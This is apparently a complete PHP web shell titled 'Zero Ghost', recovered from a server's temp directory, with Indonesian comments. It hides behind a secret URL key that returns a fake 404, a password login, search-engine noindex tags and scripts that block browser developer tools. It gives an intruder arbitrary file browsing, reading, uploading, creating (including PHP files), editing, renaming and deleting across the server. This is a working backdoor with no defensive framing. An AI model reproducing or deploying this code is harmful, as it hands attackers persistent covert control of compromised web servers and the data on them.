File: //var/tmp/php_C6Wyei.php
<?php
error_reporting(0);
session_start();
if (!isset($_SESSION['key_verified'])) {
if (!isset($_GET['key']) || $_GET['key'] !== 'TwGroup') {
http_response_code(404); // atau kosongkan
exit;
} else {
// Jika key cocok, tandai session agar tidak perlu lagi
$_SESSION['key_verified'] = true;
}
}
// =========================
// Ganti hash ini dengan hasil dari password_hash('Kepo Ya ?', PASSWORD_DEFAULT)
$hashed_password = '$2y$10$nXYXSvJ5Xl4KGP/17NYI5.0tc2DX11iGpibNIcMs20KNCMdco/Vzu';
// =========================
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
if (!isset($_SESSION['login'])) {
if (isset($_POST['password'])) {
if (password_verify($_POST['password'], $hashed_password)) {
$_SESSION['login'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
$error = "Password salah!";
}
}
echo '<!DOCTYPE html>
<html>
<head>
<title>Zero Ghost</title>
<meta name="robots" content="noindex,nofollow">
<link rel="icon" type="image/png" href="https://media.istockphoto.com/id/1440462094/id/vektor/ilustrasi-tengkorak-hijau-ilustrasi-vektor-tema-hacker.jpg?s=170667a&w=0&k=20&c=oRJEBh5IEWe9To_CQhMZ9xkyKd1g6qkNHSyJi9V0lpo=" />
<style>
body { background: #000; color: #28a745; font-family: Arial; text-align:center; padding-top: 100px; }
input { padding: 10px; border: none; border-radius: 5px; background: #000; color:gold; }
.error { color: red; }
</style>
</head>
<body>';
if (isset($error))
echo '<p class="error">' . $error . '</p>';
echo '<form method="POST">
<input type="password" name="password" placeholder="_"/>
<input type="submit" value="Login" style="display: none;"/>
</form>
</body>
</html>';
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Zero Ghost by SS</title>
<link rel="icon" type="image/png" href="https://media.istockphoto.com/id/1440462094/id/vektor/ilustrasi-tengkorak-hijau-ilustrasi-vektor-tema-hacker.jpg?s=170667a&w=0&k=20&c=oRJEBh5IEWe9To_CQhMZ9xkyKd1g6qkNHSyJi9V0lpo=" />
<meta name="robots" content="noindex,nofollow">
<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/simple-datatables@7.1.2/dist/style.min.css" rel="stylesheet" />
<script>
document.addEventListener('keydown', function (event) {
if ((event.ctrlKey && event.key === 'u') ||
(event.ctrlKey && event.shiftKey && event.key === 'I') ||
(event.ctrlKey && event.shiftKey && event.key === 'J') ||
(event.ctrlKey && event.key === 's') ||
event.key === 'F12') {
event.preventDefault();
}
});
document.addEventListener('contextmenu', function (event) {
event.preventDefault();
});
</script>
<style>
* {
box-sizing: border-box;
font-family: 'Titillium Web', sans-serif;
margin: 0;
padding: 0;
}
body {
background: url(https://images.hdqwalls.com/wallpapers/security-break-grim-reaper-hacker-qj.jpg) no-repeat center center fixed;
background-size: cover;
background-color: black;
color: #28a745;
min-height: 100vh;
}
h1 {
text-align: center;
font-size: 48px;
margin: 30px 0 10px;
text-shadow: 2px 2px 4px #000;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 20px;
background: rgba(0, 0, 0, 0.75);
border-radius: 12px;
box-shadow: 0 0 20px #28a74555;
}
.dir {
text-align: center;
margin: 20px 0;
font-size: 18px;
word-wrap: break-word;
}
.dir a {
color: #28a745;
text-decoration: none;
margin: 0 4px;
text-shadow: 1px 1px 1px #000;
}
.dir a:hover {
color: red;
}
form {
text-align: center;
margin: 10px auto;
}
input[type="file"],
input[type="text"],
input[type="submit"],
button {
padding: 10px 15px;
margin: 5px;
border-radius: 5px;
border: 1px solid #28a745;
background: #000;
color: #28a745;
font-size: 16px;
}
input[type="file"] {
color: black;
}
input[type="text"] {
width: 220px;
background: rgb(0, 63, 15);
color: gold;
}
input[type="submit"]:hover,
button:hover {
background-color: #28a745;
color: #fff;
cursor: pointer;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
background-color: rgba(40, 167, 69, 0.1);
}
th, td {
border: 2px solid #28a745;
padding: 12px;
text-align: left;
font-size: 18px;
}
th {
background-color: rgba(40, 167, 69, 0.2);
}
td a {
color: #28a745;
text-decoration: none;
font-weight: bold;
}
td a:hover {
color: red;
}
.button1 {
display: inline-block;
margin: 2px;
padding: 6px 12px;
background-color: rgb(0, 63, 15);
color:gold;
border: 1px solid #28a745;
border-radius: 5px;
font-size: 14px;
text-decoration: none;
box-shadow: 0 2px 5px #333;
transition: all 0.2s ease-in-out;
}
.button2 {
display: inline-block;
margin: 2px;
padding: 6px 12px;
background-color: maroon;
color:rgb(255, 255, 255);
border: 1px solid rgb(0, 255, 60);
border-radius: 5px;
font-size: 14px;
text-decoration: none;
box-shadow: 0 2px 5px #333;
transition: all 0.2s ease-in-out;
}
.button1:hover {
background-color: #28a745;
color: #fff;
box-shadow: 0 0 10px #28a745;
}
textarea {
width: 95%;
height: 500px;
padding: 10px;
margin: 20px auto;
display: block;
background-color: rgba(40, 167, 69, 0.3);
color: white;
font-size: 14px;
font-family: monospace;
border-radius: 6px;
border: 1px solid #28a745;
box-shadow: 0 0 5px #28a745;
resize: vertical;
}
.close {
position: absolute;
top: 15px;
right: 20px;
background-color: #ff4d4d;
color: white;
border: none;
padding: 8px 12px;
font-size: 16px;
font-weight: bold;
border-radius: 5px;
cursor: pointer;
transition: all 0.2s ease-in-out;
z-index: 999;
text-decoration: none;
}
.close:hover {
background-color: #cc0000;
box-shadow: 0 0 12px red;
}
.btn-dir {
width:180px;
padding:4px;
border:1px solid #28a745;
border-radius:4px;
color:black;
}
th{
color:gold;
}
</style>
</head>
<body>
<div class="container">
<a class="close" href="?logout=true" class="button1">Log out</a>
<h1>Zero Ghost</h1>
<div class="dir">
<?php
if (isset($_GET['dir'])) {
$dir = $_GET['dir'];
} else {
$dir = getcwd();
}
$dir = str_replace("\\", "/", $dir);
$dirs = explode("/", $dir);
foreach ($dirs as $key => $value) {
if ($value == "" && $key == 0) {
echo '<a href="/">/</a>';
continue;
}
echo '<a href="?dir=';
for ($i = 0; $i <= $key; $i++) {
echo "$dirs[$i]";
if ($key !== $i)
echo "/";
}
echo '">' . $value . '</a>/';
}
if (isset($_POST['submit'])) {
$namafile = $_FILES['upload']['name'];
$tempatfile = $_FILES['upload']['tmp_name'];
$tempat = $_GET['dir'];
$error = $_FILES['upload']['error'];
$ukuranfile = $_FILES['upload']['size'];
move_uploaded_file($tempatfile, $dir . '/' . $namafile);
echo "<script>alert('diupload!!!');</script>";
}
if (isset($_POST['mkfolder'])) {
$folderName = trim($_POST['newfolder']);
$folderName = basename($folderName);
$targetPath = $dir . '/' . $folderName;
if ($folderName === '') {
echo "<script>alert('Nama folder tidak boleh kosong');</script>";
} elseif (file_exists($targetPath)) {
echo "<script>alert('Folder sudah ada');</script>";
} else {
if (mkdir($targetPath, 0755)) {
echo "<script>alert('Folder berhasil dibuat');window.location='?dir=$dir';</script>";
} else {
echo "<script>alert('Gagal membuat folder');</script>";
}
}
}
if (isset($_POST['createfile'])) {
$filename = basename($_POST['filename']);
$content = $_POST['filecontent'];
$path = $dir . '/' . $filename;
if (file_exists($path)) {
echo "<script>alert('File sudah ada!');</script>";
} else {
if (file_put_contents($path, $content) !== false) {
echo "<script>alert('File berhasil dibuat');window.location='?dir=$dir';</script>";
} else {
echo "<script>alert('Gagal membuat file');</script>";
}
}
}
?>
<div>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload" style="color:gold;">
<input class="btn" type="submit" name="submit" value="Upload">
</form>
<form method="post" style="margin-top:10px;">
<input class="btn-dir" type="text" name="newfolder" placeholder="Nama Folder">
<button class="btn" type="submit" name="mkfolder">Create</button>
</form>
<button type="button" class="btn" onclick="openCreateFile()">Create File</button>
</div>
</div>
<table>
<tr>
<th>Nama File / Folder</th>
<th>Size</th>
<th>Action</th>
</tr>
<?php
if (isset($_GET['deletefolder'])) {
$folderToDelete = $_GET['deletefolder'];
if (is_dir($folderToDelete)) {
// Cek apakah folder kosong
$files = scandir($folderToDelete);
if (count($files) == 2) { // hanya . dan ..
rmdir($folderToDelete);
echo "<script>alert('Folder berhasil dihapus');window.location='?dir=$dir';</script>";
} else {
echo "<script>alert('Folder tidak kosong, tidak bisa dihapus');</script>";
}
}
}
if (isset($_GET['renamefolder'])) {
if (isset($_POST['newname'])) {
$newPath = $dir . '/' . basename($_POST['newname']);
if (rename($_GET['renamefolder'], $newPath)) {
echo '<script>alert("Rename folder berhasil");window.location="?dir=' . $dir . '";</script>';
} else {
echo '<font color="red">Rename folder gagal</font><br />';
}
}
echo '<br><center><form method="POST">
New Folder Name : <input name="newname" type="text" size="20" value="' . $_GET['nama'] . '" />
<input type="hidden" name="path" value="' . $_GET['dir'] . '">
<input type="submit" value="Rename" />
</form></center>';
}
$scan = scandir($dir);
foreach ($scan as $directory) {
if (!is_dir($dir . '/' . $directory) || $directory == '.' || $directory == '..')
continue;
echo '
<tr>
<td><a href="?dir=' . $dir . '/' . $directory . '">' . $directory . '</a></td>
<td>--</td>
<td>
<a href="?dir=' . $dir . '&renamefolder=' . $dir . '/' . $directory . '&nama=' . $directory . '" class="button1">Rename</a>
<a href="?dir=' . $dir . '&deletefolder=' . $dir . '/' . $directory . '" class="button2">Delete</a>
</td>
</tr>';
}
foreach ($scan as $file) {
if (!is_file($dir . '/' . $file))
continue;
$jumlah = filesize($dir . '/' . $file) / 1024;
$jumlah = round($jumlah, 3);
if ($jumlah >= 1024) {
$jumlah = round($jumlah / 1024, 2) . 'MB';
} else {
$jumlah = $jumlah . 'KB';
}
echo '
<tr>
<td><a href="?dir=' . $dir . '&open=' . $dir . '/' . $file . '">' . $file . '</a></td>
<td>' . $jumlah . '</td>
<td>
<a href="?dir=' . $dir . '&rename=' . $dir . '/' . $file . '&nama=' . $file . '" class="button1">Rename</a>
<a href="?dir=' . $dir . '&ubah=' . $dir . '/' . $file . '" class="button1">Edit</a>
<a href="?dir=' . $dir . '&delete=' . $dir . '/' . $file . '" class="button2">Delete</a>
</td>
</tr>';
}
if (isset($_GET['open'])) {
echo '
<br />
<style> table { display: none; } </style>
<textarea>' . htmlspecialchars(file_get_contents($_GET['open'])) . '</textarea>';
}
if (isset($_GET['delete'])) {
if (unlink($_GET['delete'])) {
echo "<script>alert('dihapus');window.location='?dir=" . $dir . "';</script>";
}
}
if (isset($_GET['ubah'])) {
echo '
<style> table { display: none; } </style>
<center>
<form method="post" action="">
<input type="hidden" name="object" value="' . $_GET['ubah'] . '">
<textarea name="edit">' . htmlspecialchars(file_get_contents($_GET['ubah'])) . '</textarea>
</center>
<div>
<center>
<button type="submit" name="go" value="Submit" class="button1">SAVE</button>
<a href="?dir=' . $dir . '" class="button1">. BACK .</a>
</center>
</div>
</form>';
}
if (isset($_POST['edit'])) {
$data = fopen($_POST["object"], 'w');
if (fwrite($data, $_POST['edit'])) {
echo '<script>alert("Berhasil diedit!!!");window.location="?dir=' . $dir . '";</script>';
} else {
echo "<script>alert('gagal');</script>";
}
}
if ($_GET['rename']) {
if (isset($_POST['newname'])) {
if (rename($_GET['rename'], $_GET['dir'] . '/' . $_POST['newname'])) {
echo '<font color="green">Ganti Nama Berhasil</font><br/>';
echo "<script>window.location='?dir=" . $dir . "';</script>";
} else {
echo '<font color="red">Ganti Nama Gagal</font><br />';
}
}
echo '<br>
<center>
<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_GET['nama'] . '" />
<input type="hidden" name="path" value="' . $_GET['dir'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>
</center>
';
}
?>
</table>
</div>
<div id="createFileModal" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:9999;">
<div style="background:#000; border:2px solid #28a745; width:500px; max-width:95%; margin:80px auto; padding:20px; border-radius:10px; box-shadow:0 0 15px #28a745;">
<h3 style="color:gold; text-align:center;">Create New File</h3>
<form method="post">
<input type="text" name="filename" placeholder="nama_file.php" required style="width:95%; margin-bottom:10px;">
<textarea name="filecontent" placeholder="Isi file..." style="height:200px;"></textarea>
<br>
<center>
<button type="submit" name="createfile" class="button1">Create</button>
<button type="button" onclick="closeCreateFile()" class="button2">Cancel</button>
</center>
</form>
</div>
</div>
<script>
function openCreateFile() {
document.getElementById("createFileModal").style.display = "block";
}
function closeCreateFile() {
document.getElementById("createFileModal").style.display = "none";
}
</script>
</body>
</html>